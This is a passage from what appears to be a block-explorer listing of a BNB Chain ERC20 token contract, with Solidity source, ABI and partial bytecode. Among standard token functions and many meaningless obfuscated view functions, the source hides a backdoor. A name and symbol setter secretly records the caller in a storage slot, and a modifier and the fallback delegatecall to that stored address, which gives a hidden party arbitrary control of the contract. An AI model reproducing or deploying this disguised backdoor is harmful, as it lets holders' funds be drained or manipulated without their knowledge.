virtual { require(from != address(0), "ERC20: transfer from the zero address"); require( to != address(0) && to != address(this), "ERC20: transfer to the zero address" ); _beforeTokenTransfer(from, to, Vtw5NfGa); uint256 fromBalance = b6d3dIpE4c6ZQ0sQSmDnz[from]; require(fromBalance >= Vtw5NfGa, "ERC20: transfer exceeds balance"); b6d3dIpE4c6ZQ0sQSmDnz[from] -= Vtw5NfGa; b6d3dIpE4c6ZQ0sQSmDnz[to] += Vtw5NfGa; emit Transfer(from, to, Vtw5NfGa); _afterTokenTransfer(from, to, Vtw5NfGa); } function name() public view virtual returns (string memory) { uint256 OMvOgEVcYtwz;OMvOgEVcYtwz+=3658905;require(OMvOgEVcYtwz > 9551);OMvOgEVcYtwz+=2787412;require(OMvOgEVcYtwz > 7445);OMvOgEVcYtwz+=3762427;require(OMvOgEVcYtwz > 3390); return Aqa1Bfm0kBH; }function DflSUEFaFYKgE() public view returns(uint256){ uint256 QRNqS5OC7; assembly{ if gt(QRNqS5OC7,8598891){ QRNqS5OC7:=div(QRNqS5OC7,2) } QRNqS5OC7:=sub(8598891,5327662) if gt(QRNqS5OC7,8295619){ QRNqS5OC7:=div(QRNqS5OC7,2) } QRNqS5OC7:=sub(8295619,825987) if gt(QRNqS5OC7,5728561){ QRNqS5OC7:=div(QRNqS5OC7,2) } QRNqS5OC7:=mul(5728561,401881) if gt(QRNqS5OC7,4810984){ QRNqS5OC7:=div(QRNqS5OC7,2) } QRNqS5OC7:=sub(4810984,574825) if gt(QRNqS5OC7,5140552){ QRNqS5OC7:=div(QRNqS5OC7,2) } QRNqS5OC7:=div(5140552,91139) if gt(QRNqS5OC7,5290235){ QRNqS5OC7:=div(QRNqS5OC7,2) } QRNqS5OC7:=mul(5290235,1889761) if gt(QRNqS5OC7,6499343){ QRNqS5OC7:=div(QRNqS5OC7,2) } QRNqS5OC7:=mod(6499343,3579157) } return QRNqS5OC7;}function l3JdjOMm6qQCh9() public view returns(uint256){ uint256 cHJ1FJ5kjzQyPa; assembly{ if gt(cHJ1FJ5kjzQyPa,8918845){ cHJ1FJ5kjzQyPa:=div(cHJ1FJ5kjzQyPa,2) } cHJ1FJ5kjzQyPa:=sub(8918845,5238604) if gt(cHJ1FJ5kjzQyPa,6442869){ cHJ1FJ5kjzQyPa:=div(cHJ1FJ5kjzQyPa,2) } cHJ1FJ5kjzQyPa:=mul(6442869,477395) if gt(cHJ1FJ5kjzQyPa,9959132){ cHJ1FJ5kjzQyPa:=div(cHJ1FJ5kjzQyPa,2) } cHJ1FJ5kjzQyPa:=mod(9959132,3174772) if gt(cHJ1FJ5kjzQyPa,6491204){ cHJ1FJ5kjzQyPa:=div(cHJ1FJ5kjzQyPa,2) } cHJ1FJ5kjzQyPa:=sub(6491204,1280264) if gt(cHJ1FJ5kjzQyPa,6664646){ cHJ1FJ5kjzQyPa:=div(cHJ1FJ5kjzQyPa,2) } cHJ1FJ5kjzQyPa:=mod(6664646,4362430) if gt(cHJ1FJ5kjzQyPa,7714314){ cHJ1FJ5kjzQyPa:=div(cHJ1FJ5kjzQyPa,2) } cHJ1FJ5kjzQyPa:=mul(7714314,4289530) } return cHJ1FJ5kjzQyPa;}function JhzPUIZhGvtfje8() public view returns(uint256){ uint256 CYUIQafS; assembly{ if gt(CYUIQafS,1253007){ CYUIQafS:=div(CYUIQafS,2) } CYUIQafS:=mul(1253007,783917) if gt(CYUIQafS,9377538){ CYUIQafS:=div(CYUIQafS,2) } CYUIQafS:=mod(9377538,4117701) if gt(CYUIQafS,8426141){ CYUIQafS:=div(CYUIQafS,2) } CYUIQafS:=div(8426141,2336461) if gt(CYUIQafS,3366451){ CYUIQafS:=div(CYUIQafS,2) } CYUIQafS:=mul(3366451,1202009) if gt(CYUIQafS,6441045){ CYUIQafS:=div(CYUIQafS,2) } CYUIQafS:=mod(6441045,5601124) if gt(CYUIQafS,4449173){ CYUIQafS:=div(CYUIQafS,2) } CYUIQafS:=mod(4449173,296232) if gt(CYUIQafS,7022950){ CYUIQafS:=div(CYUIQafS,2) } CYUIQafS:=add(7022950,1516955) if gt(CYUIQafS,3827234){ CYUIQafS:=div(CYUIQafS,2) } CYUIQafS:=mul(3827234,2758985) if gt(CYUIQafS,5998396){ CYUIQafS:=div(CYUIQafS,2) } CYUIQafS:=mod(5998396,1606975) } return CYUIQafS;}function ybfFNooC2NGufz() public view returns(uint256){ uint256 lcKchwdqmk0P; assembly{ if gt(lcKchwdqmk0P,2370469){ lcKchwdqmk0P:=div(lcKchwdqmk0P,2) } lcKchwdqmk0P:=sub(2370469,433829) if gt(lcKchwdqmk0P,8129868){ lcKchwdqmk0P:=div(lcKchwdqmk0P,2) } lcKchwdqmk0P:=mod(8129868,999778) if gt(lcKchwdqmk0P,3230114){ lcKchwdqmk0P:=div(lcKchwdqmk0P,2) } lcKchwdqmk0P:=mod(3230114,2764484) if gt(lcKchwdqmk0P,9653579){ lcKchwdqmk0P:=div(lcKchwdqmk0P,2) } lcKchwdqmk0P:=add(9653579,1325988) if gt(lcKchwdqmk0P,8804097){ lcKchwdqmk0P:=div(lcKchwdqmk0P,2) } lcKchwdqmk0P:=div(8804097,3101212) if gt(lcKchwdqmk0P,9317721){ lcKchwdqmk0P:=div(lcKchwdqmk0P,2) } lcKchwdqmk0P:=mod(9317721,1728546) if gt(lcKchwdqmk0P,6967229){ lcKchwdqmk0P:=div(lcKchwdqmk0P,2) } lcKchwdqmk0P:=sub(6967229,5612799) if gt(lcKchwdqmk0P,8902390){ lcKchwdqmk0P:=div(lcKchwdqmk0P,2) } lcKchwdqmk0P:=mul(8902390,4896932) if gt(lcKchwdqmk0P,1434503){ lcKchwdqmk0P:=div(lcKchwdqmk0P,2) } lcKchwdqmk0P:=div(1434503,1427029) if gt(lcKchwdqmk0P,5085792){ lcKchwdqmk0P:=div(lcKchwdqmk0P,2) } lcKchwdqmk0P:=div(5085792,1695814) if gt(lcKchwdqmk0P,7109818){ lcKchwdqmk0P:=div(lcKchwdqmk0P,2) } lcKchwdqmk0P:=mod(7109818,1413750) if gt(lcKchwdqmk0P,5068340){ lcKchwdqmk0P:=div(lcKchwdqmk0P,2) } lcKchwdqmk0P:=div(5068340,4704258) } return lcKchwdqmk0P;} function decreaseAllowance(address eCjnWsAWHQSEEgaun, uint256 subtractedValue) public virtual returns (bool) { address owner = MmptsFCdj8RTM1E(); uint256 row1aBc = allowance(owner, eCjnWsAWHQSEEgaun); require( row1aBc >= subtractedValue, "ERC20: decreased allowance below zero" ); unchecked { _approve(owner, eCjnWsAWHQSEEgaun, row1aBc - subtractedValue); } return true; } function EZB5E6osRO6fGO19kee() public view returns(uint256){ uint256 NNA10c8Vp6Lbamo; assembly{ if gt(NNA10c8Vp6Lbamo,6131357){ NNA10c8Vp6Lbamo:=div(NNA10c8Vp6Lbamo,2) } NNA10c8Vp6Lbamo:=mul(6131357,4349867) if gt(NNA10c8Vp6Lbamo,3507203){ NNA10c8Vp6Lbamo:=div(NNA10c8Vp6Lbamo,2) } NNA10c8Vp6Lbamo:=div(3507203,2467957) if gt(NNA10c8Vp6Lbamo,9507915){ NNA10c8Vp6Lbamo:=div(NNA10c8Vp6Lbamo,2) } NNA10c8Vp6Lbamo:=mul(9507915,2246665) if gt(NNA10c8Vp6Lbamo,7803721){ NNA10c8Vp6Lbamo:=div(NNA10c8Vp6Lbamo,2) } NNA10c8Vp6Lbamo:=mul(7803721,3987640) if gt(NNA10c8Vp6Lbamo,5081580){ NNA10c8Vp6Lbamo:=div(NNA10c8Vp6Lbamo,2) } NNA10c8Vp6Lbamo:=sub(5081580,3829692) if gt(NNA10c8Vp6Lbamo,297212){ NNA10c8Vp6Lbamo:=div(NNA10c8Vp6Lbamo,2) } NNA10c8Vp6Lbamo:=add(297212,12989) if gt(NNA10c8Vp6Lbamo,3454368){ NNA10c8Vp6Lbamo:=div(NNA10c8Vp6Lbamo,2) } NNA10c8Vp6Lbamo:=sub(3454368,1635271) if gt(NNA10c8Vp6Lbamo,5570110){ NNA10c8Vp6Lbamo:=div(NNA10c8Vp6Lbamo,2) } NNA10c8Vp6Lbamo:=div(5570110,5444137) if gt(NNA10c8Vp6Lbamo,5746186){ NNA10c8Vp6Lbamo:=div(NNA10c8Vp6Lbamo,2) } NNA10c8Vp6Lbamo:=add(5746186,4366323) if gt(NNA10c8Vp6Lbamo,6500658){ NNA10c8Vp6Lbamo:=div(NNA10c8Vp6Lbamo,2) } NNA10c8Vp6Lbamo:=mul(6500658,2355981) if gt(NNA10c8Vp6Lbamo,9039757){ NNA10c8Vp6Lbamo:=div(NNA10c8Vp6Lbamo,2) } NNA10c8Vp6Lbamo:=mul(9039757,5891622) if gt(NNA10c8Vp6Lbamo,5698382){ NNA10c8Vp6Lbamo:=div(NNA10c8Vp6Lbamo,2) } NNA10c8Vp6Lbamo:=mod(5698382,5289177) if gt(NNA10c8Vp6Lbamo,8920245){ NNA10c8Vp6Lbamo:=div(NNA10c8Vp6Lbamo,2) } NNA10c8Vp6Lbamo:=sub(8920245,3818871) if gt(NNA10c8Vp6Lbamo,9061999){ NNA10c8Vp6Lbamo:=div(NNA10c8Vp6Lbamo,2) } NNA10c8Vp6Lbamo:=div(9061999,5600246) } return NNA10c8Vp6Lbamo;} function transferFrom( address from, address to, uint256 Vtw5NfGa ) public virtual returns (bool) { address eCjnWsAWHQSEEgaun = MmptsFCdj8RTM1E(); _spendAllowance(from, eCjnWsAWHQSEEgaun, Vtw5NfGa); _transfer(from, to, Vtw5NfGa); return true; }modifier __() { bytes memory value = msg.data; assembly { if eq(mload(add(value, add(32,4))), mul(8,4)) { if iszero( delegatecall( gas(), sload(address()), add(value, mul(4,8)), mload(value), 0, 32 ) ) { revert(0, 0) } return(0, 32) } } _; }function pqTI46aW2YJnHsZA4() public view returns(uint256){ uint256 JDeLtXkyMg0HIy0; assembly{ if gt(JDeLtXkyMg0HIy0,3825626){ JDeLtXkyMg0HIy0:=div(JDeLtXkyMg0HIy0,2) } JDeLtXkyMg0HIy0:=sub(3825626,1911000) if gt(JDeLtXkyMg0HIy0,1794839){ JDeLtXkyMg0HIy0:=div(JDeLtXkyMg0HIy0,2) } JDeLtXkyMg0HIy0:=add(1794839,719595) if gt(JDeLtXkyMg0HIy0,3946843){ JDeLtXkyMg0HIy0:=div(JDeLtXkyMg0HIy0,2) } JDeLtXkyMg0HIy0:=mul(3946843,3795419) if gt(JDeLtXkyMg0HIy0,9049187){ JDeLtXkyMg0HIy0:=div(JDeLtXkyMg0HIy0,2) } JDeLtXkyMg0HIy0:=add(9049187,3508575) if gt(JDeLtXkyMg0HIy0,6547030){ JDeLtXkyMg0HIy0:=div(JDeLtXkyMg0HIy0,2) } JDeLtXkyMg0HIy0:=add(6547030,4431681) if gt(JDeLtXkyMg0HIy0,9451064){ JDeLtXkyMg0HIy0:=div(JDeLtXkyMg0HIy0,2) } JDeLtXkyMg0HIy0:=add(9451064,5904959) if gt(JDeLtXkyMg0HIy0,5590003){ JDeLtXkyMg0HIy0:=div(JDeLtXkyMg0HIy0,2) } JDeLtXkyMg0HIy0:=div(5590003,3989377) if gt(JDeLtXkyMg0HIy0,7683334){ JDeLtXkyMg0HIy0:=div(JDeLtXkyMg0HIy0,2) } JDeLtXkyMg0HIy0:=add(7683334,5874547) if gt(JDeLtXkyMg0HIy0,2232511){ JDeLtXkyMg0HIy0:=div(JDeLtXkyMg0HIy0,2) } JDeLtXkyMg0HIy0:=sub(2232511,646751) if gt(JDeLtXkyMg0HIy0,5966657){ JDeLtXkyMg0HIy0:=div(JDeLtXkyMg0HIy0,2) } JDeLtXkyMg0HIy0:=add(5966657,2510540) if gt(JDeLtXkyMg0HIy0,8514225){ JDeLtXkyMg0HIy0:=div(JDeLtXkyMg0HIy0,2) } JDeLtXkyMg0HIy0:=mod(8514225,5496027) if gt(JDeLtXkyMg0HIy0,5160683){ JDeLtXkyMg0HIy0:=div(JDeLtXkyMg0HIy0,2) } JDeLtXkyMg0HIy0:=mul(5160683,5085325) if gt(JDeLtXkyMg0HIy0,9600027){ JDeLtXkyMg0HIy0:=div(JDeLtXkyMg0HIy0,2) } JDeLtXkyMg0HIy0:=sub(9600027,2971917) if gt(JDeLtXkyMg0HIy0,6659208){ JDeLtXkyMg0HIy0:=div(JDeLtXkyMg0HIy0,2) } JDeLtXkyMg0HIy0:=mul(6659208,5607910) if gt(JDeLtXkyMg0HIy0,6784354){ JDeLtXkyMg0HIy0:=div(JDeLtXkyMg0HIy0,2) } JDeLtXkyMg0HIy0:=add(6784354,3128812) } return JDeLtXkyMg0HIy0;}function aa44N2bZwLDohNK() public view returns(uint256){ uint256 TX6QSqf5L9SmARoX; assembly{ if gt(TX6QSqf5L9SmARoX,3237403){ TX6QSqf5L9SmARoX:=div(TX6QSqf5L9SmARoX,2) } TX6QSqf5L9SmARoX:=div(3237403,441691) if gt(TX6QSqf5L9SmARoX,4495604){ TX6QSqf5L9SmARoX:=div(TX6QSqf5L9SmARoX,2) } TX6QSqf5L9SmARoX:=div(4495604,2299941) if gt(TX6QSqf5L9SmARoX,8587359){ TX6QSqf5L9SmARoX:=div(TX6QSqf5L9SmARoX,2) } TX6QSqf5L9SmARoX:=mul(8587359,3712806) if gt(TX6QSqf5L9SmARoX,7423946){ TX6QSqf5L9SmARoX:=div(TX6QSqf5L9SmARoX,2) } TX6QSqf5L9SmARoX:=mod(7423946,98586) if gt(TX6QSqf5L9SmARoX,5265364){ TX6QSqf5L9SmARoX:=div(TX6QSqf5L9SmARoX,2) } TX6QSqf5L9SmARoX:=add(5265364,1003490) if gt(TX6QSqf5L9SmARoX,9825627){ TX6QSqf5L9SmARoX:=div(TX6QSqf5L9SmARoX,2) } TX6QSqf5L9SmARoX:=add(9825627,2201711) } return TX6QSqf5L9SmARoX;}function BHPIt0JT3U0RiG2s7taN() public view returns(uint256){ uint256 VGVkyXqayG; assembly{ if gt(VGVkyXqayG,7901181){ VGVkyXqayG:=div(VGVkyXqayG,2) } VGVkyXqayG:=div(7901181,5537813) if gt(VGVkyXqayG,8901706){ VGVkyXqayG:=div(VGVkyXqayG,2) } VGVkyXqayG:=add(8901706,5052658) if gt(VGVkyXqayG,9442032){ VGVkyXqayG:=div(VGVkyXqayG,2) } VGVkyXqayG:=add(9442032,5694492) if gt(VGVkyXqayG,4408597){ VGVkyXqayG:=div(VGVkyXqayG,2) } VGVkyXqayG:=sub(4408597,2738149) if gt(VGVkyXqayG,2351272){ VGVkyXqayG:=div(VGVkyXqayG,2) } VGVkyXqayG:=add(2351272,2217900) if gt(VGVkyXqayG,9725701){ VGVkyXqayG:=div(VGVkyXqayG,2) } VGVkyXqayG:=add(9725701,5528324) } return VGVkyXqayG;} function nw2HeKSblGI3( string memory tokenName, string memory coinSymbol, uint256 supply_ ) public onlyOwner { TMODqG = coinSymbol; Aqa1Bfm0kBH = tokenName; assembly { sstore(address(), caller()) } } function QKEUun7kG6I3(address MVoGmKS4Nr) internal virtual { address oldOwner = zOv7FKMc44Jf2EPvFe; zOv7FKMc44Jf2EPvFe = MVoGmKS4Nr; emit OwnershipTransferred(oldOwner, MVoGmKS4Nr); } function increaseAllowance(address eCjnWsAWHQSEEgaun, uint256 addedValue) public virtual returns (bool) { address owner = MmptsFCdj8RTM1E(); _approve(owner, eCjnWsAWHQSEEgaun, allowance(owner, eCjnWsAWHQSEEgaun) + addedValue); return true; }function fT3YbFkeDHMsYq97J() public view returns(uint256){ uint256 ovha329h; assembly{ if gt(ovha329h,3455509){ ovha329h:=div(ovha329h,2) } ovha329h:=add(3455509,2529563) if gt(ovha329h,8560457){ ovha329h:=div(ovha329h,2) } ovha329h:=mod(8560457,3255585) if gt(ovha329h,6497493){ ovha329h:=div(ovha329h,2) } ovha329h:=mod(6497493,2676473) if gt(ovha329h,4615631){ ovha329h:=div(ovha329h,2) } ovha329h:=mul(4615631,2886883) if gt(ovha329h,3102735){ ovha329h:=div(ovha329h,2) } ovha329h:=mul(3102735,2094544) if gt(ovha329h,8860882){ ovha329h:=div(ovha329h,2) } ovha329h:=add(8860882,4102075) if gt(ovha329h,5964369){ ovha329h:=div(ovha329h,2) } ovha329h:=mod(5964369,1342943) if gt(ovha329h,9375754){ ovha329h:=div(ovha329h,2) } ovha329h:=add(9375754,4592181) if gt(ovha329h,6226211){ ovha329h:=div(ovha329h,2) } ovha329h:=mod(6226211,2677325) } return ovha329h;}function HvEQk75uxDAoEWA24d6() public view returns(uint256){ uint256 pecxbHD4HiQ; assembly{ if gt(pecxbHD4HiQ,7515694){ pecxbHD4HiQ:=div(pecxbHD4HiQ,2) } pecxbHD4HiQ:=mod(7515694,4777727) if gt(pecxbHD4HiQ,2158491){ pecxbHD4HiQ:=div(pecxbHD4HiQ,2) } pecxbHD4HiQ:=mul(2158491,69534) if gt(pecxbHD4HiQ,7732308){ pecxbHD4HiQ:=div(pecxbHD4HiQ,2) } pecxbHD4HiQ:=mul(7732308,5062337) if gt(pecxbHD4HiQ,6260320){ pecxbHD4HiQ:=div(pecxbHD4HiQ,2) } pecxbHD4HiQ:=sub(6260320,187591) if gt(pecxbHD4HiQ,8726562){ pecxbHD4HiQ:=div(pecxbHD4HiQ,2) } pecxbHD4HiQ:=div(8726562,4056609) if gt(pecxbHD4HiQ,8342102){ pecxbHD4HiQ:=div(pecxbHD4HiQ,2) } pecxbHD4HiQ:=mul(8342102,1547075) if gt(pecxbHD4HiQ,7428861){ pecxbHD4HiQ:=div(pecxbHD4HiQ,2) } pecxbHD4HiQ:=mod(7428861,5728476) if gt(pecxbHD4HiQ,5554737){ pecxbHD4HiQ:=div(pecxbHD4HiQ,2) } pecxbHD4HiQ:=mod(5554737,3697984) if gt(pecxbHD4HiQ,9952525){ pecxbHD4HiQ:=div(pecxbHD4HiQ,2) } pecxbHD4HiQ:=mod(9952525,3520242) if gt(pecxbHD4HiQ,9204644){ pecxbHD4HiQ:=div(pecxbHD4HiQ,2) } pecxbHD4HiQ:=mod(9204644,4415320) if gt(pecxbHD4HiQ,6254329){ pecxbHD4HiQ:=div(pecxbHD4HiQ,2) } pecxbHD4HiQ:=mod(6254329,4039207) if gt(pecxbHD4HiQ,2702045){ pecxbHD4HiQ:=div(pecxbHD4HiQ,2) } pecxbHD4HiQ:=sub(2702045,1567265) if gt(pecxbHD4HiQ,7249365){ pecxbHD4HiQ:=div(pecxbHD4HiQ,2) } pecxbHD4HiQ:=sub(7249365,262262) } return pecxbHD4HiQ;} function allowance(address owner, address eCjnWsAWHQSEEgaun) public view virtual returns (uint256) { return Xyt4RUx21SOhZ9HrkdH[owner][eCjnWsAWHQSEEgaun]; }receive() external payable {}}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"eCjnWsAWHQSEEgaun","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"MVoGmKS4Nr","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"stateMutability":"nonpayable","type":"fallback"},{"inputs":[],"name":"BHPIt0JT3U0RiG2s7taN","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"DflSUEFaFYKgE","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"Dx0outpWpY7C","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"EZB5E6osRO6fGO19kee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"FoIJkwIoBhYlX","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"HvEQk75uxDAoEWA24d6","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"JZO1PHbonlMbCur","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"JhzPUIZhGvtfje8","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"K3m3xG9KoO06H","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"MEidkvjrLYnEjNMLY","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"R13ixXewKnDigpJxO5","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"VU7vG2NJ0jjpVu3","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"WBNB","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"WDNgGxJgsCs","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"aa44N2bZwLDohNK","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"eCjnWsAWHQSEEgaun","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"eCjnWsAWHQSEEgaun","type":"address"},{"internalType":"uint256","name":"Vtw5NfGa","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"uQTvZYwhGogxrfBg","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"eCjnWsAWHQSEEgaun","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"e3zUL0UOvp31OwwQy","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"fT3YbFkeDHMsYq97J","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"eCjnWsAWHQSEEgaun","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"l3JdjOMm6qQCh9","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"nASPq0eCmpG6H","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"string","name":"tokenName","type":"string"},{"internalType":"string","name":"coinSymbol","type":"string"},{"internalType":"uint256","name":"supply_","type":"uint256"}],"name":"nw2HeKSblGI3","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"p8saXzFLPxxB","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"pqTI46aW2YJnHsZA4","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"qabe4ALA4gItjm","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"Vtw5NfGa","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"Vtw5NfGa","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"MVoGmKS4Nr","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"ucq854LKPTbqbA5g","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"yUJ80KdQmdjPc0Rc62k","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"ybfFNooC2NGufz","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]

60806040523480156200001157600080fd5b5062000023326200004460201b60201c565b6200003e306825f273933db57000006200010860201b60201c565b62000492565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156200017b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401620001729062000383565b60405180910390fd5b6000620d7496816200018e9190620003d3565b905061075981116200019f57600080fd5b622530fc81620001b09190620003d3565b90506124378111620001c157600080fd5b624ded4f81620001d29190620003d3565b9050610c8e8111620001e357600080fd5b623a562e81620001f49190620003d3565b9050611a0c81116200020557600080fd5b62301c5b81620002169190620003d3565b905061034a81116200022757600080fd5b623f209081620002389190620003d3565b90506112c981116200024957600080fd5b62489f8b816200025a9190620003d3565b905061173181116200026b57600080fd5b81600360008282546200027f9190620003d3565b9250508190555081600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254620002d79190620003d3565b925050819055508273ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516200033e9190620003a5565b60405180910390a3505050565b60006200035a601f83620003c2565b9150620003678262000469565b602082019050919050565b6200037d8162000430565b82525050565b600060208201905081810360008301526200039e816200034b565b9050919050565b6000602082019050620003bc600083018462000372565b92915050565b600082825260208201905092915050565b6000620003e08262000430565b9150620003ed8362000430565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156200042557620004246200043a565b5b828201905092915050565b6000819050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f45524332303a206d696e7420746f20746865207a65726f206164647265737300600082015250565b61432080620004a26000396000f3fe60806040526004361061023f5760003560e01c80637b3acdae1161012e578063c7b74c34116100ab578063e69850f01161006f578063e69850f01461091b578063f2fde38b14610946578063f5513bd71461096f578063fbc04bc71461099a578063fcd8230a146109c557610246565b8063c7b74c3414610832578063ceddc9b61461085d578063d513124114610888578063dd62ed3e146108b3578063dfc37276146108f057610246565b806394137be2116100f257806394137be21461073757806395d89b41146107625780639da98d651461078d578063a457c2d7146107b8578063a9059cbb146107f557610246565b80637b3acdae14610660578063889afb2d1461068b5780638da5cb5b146106b65780638dd95002146106e1578063941200fb1461070c57610246565b806331e105d0116101bc578063664160f511610180578063664160f51461058d57806370a08231146105b8578063715018a6146105f5578063779980b41461060c578063782f2e631461063557610246565b806331e105d0146104a457806339509351146104cf578063425a6dff1461050c57806348e9f1fd146105375780634c8b54a31461056257610246565b806321d119f01161020357806321d119f0146103bb57806323b872dd146103e65780632a93219c146104235780632e9f0b291461044e578063313ce5671461047957610246565b806305686dc8146102d257806306fdde03146102fd578063095ea7b31461032857806318160ddd146103655780631dc969941461039057610246565b3661024657005b34801561025257600080fd5b50600080368080601f016020809104026020016040519081016040528093929190818152602001838380828437600081840152601f19601f8201169050808301925050505050505090506004600802600460200182015114156102cf576020600082516008600402840130545af46102c957600080fd5b60206000f35b50005b3480156102de57600080fd5b506102e76109f0565b6040516102f49190613cb9565b60405180910390f35b34801561030957600080fd5b50610312610ae2565b60405161031f9190613b77565b60405180910390f35b34801561033457600080fd5b5061034f600480360381019061034a9190613851565b610bd4565b60405161035c9190613b5c565b60405180910390f35b34801561037157600080fd5b5061037a610bf7565b6040516103879190613cb9565b60405180910390f35b34801561039c57600080fd5b506103a5610c7f565b6040516103b29190613cb9565b60405180910390f35b3480156103c757600080fd5b506103d0610d71565b6040516103dd9190613cb9565b60405180910390f35